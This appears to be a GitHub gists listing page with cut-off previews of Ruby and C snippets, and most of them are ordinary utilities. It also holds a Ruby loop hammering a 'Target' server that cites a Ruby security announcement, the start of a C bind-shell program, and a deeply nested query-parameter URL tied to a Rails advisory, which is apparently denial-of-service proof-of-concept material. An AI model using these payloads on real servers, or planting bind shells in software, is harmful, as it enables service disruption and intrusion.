This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def port_open?(host, port, timeout = 5) | |
addr = Socket.getaddrinfo(host, nil) | |
sockaddr = Socket.pack_sockaddr_in(port, addr[0][3]) | |
Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket| | |
socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) | |
begin | |
# Initiate the socket connection in the background. If it doesn't fail | |
# immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# sudo touch /etc/ppp/ip-up | |
# sudo chmod 755 /etc/ppp/ip-up | |
# File content: | |
#!/bin/sh | |
# https://git.sysalex.com/snippets/7 | |
# https://zaborona.help/ips.txt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def port_open?(host, port, timeout = 5) | |
addr = Socket.getaddrinfo(host, nil) | |
sockaddr = Socket.pack_sockaddr_in(port, addr[0][3]) | |
Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket| | |
socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) | |
begin | |
# Initiate the socket connection in the background. If it doesn't fail | |
# immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def block(str) | |
chars = str.upcase.chars | |
size = chars.size | |
result = Array.new(size) { Array.new(size) { ' ' } } | |
chars.each_with_index do |char, i| | |
result[0][i] = char | |
result[i][i] = char | |
result[i][0] = char |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
def create_request(data) | |
host = '127.0.0.1' | |
port = 80 | |
request = '' | |
request << "POST /something.json HTTP/1.1\r\n" | |
request << "Host: localhost\r\n" | |
# add here your headers |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc | |
require 'uri' | |
require 'net/http' | |
require 'securerandom' | |
uri = URI("http://localhost:3000/") # Target | |
10000.times do |i| | |
http = Net::HTTP.new(uri.host, uri.port) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// See bindshell.asm | |
#include<stdio.h> | |
#include<dlfcn.h> | |
#include<stdio.h> | |
#include<unistd.h> | |
#include<sys/socket.h> | |
#include<netinet/in.h> | |
main() { | |
int soc,cli,soc_len; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ruby Thread Pool | |
# ================ | |
# A thread pool is useful when you wish to do some work in a thread, but do | |
# not know how much work you will be doing in advance. Spawning one thread | |
# for each task is potentially expensive, as threads are not free. | |
# | |
# In this case, it might be more beneficial to start a predefined set of | |
# threads and then hand off work to them as it becomes available. This is | |
# the pure essence of what a thread pool is: an array of threads, all just | |
# waiting to do some work for you! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Hash | |
def path_exists?(*path) | |
path.flatten.each do |key| | |
if key.instance_of? Hash | |
return false unless self[key.keys.first] | |
return false unless self[key.keys.first].path_exists?(key.values) | |
elsif key.instance_of? Array | |
return self.path_exists?(key) | |
else |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://groups.google.com/forum/#!topic/rubyonrails-security/gcUbICUmKMc | |
http://HOSTNAME/?foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a] |
NewerOlder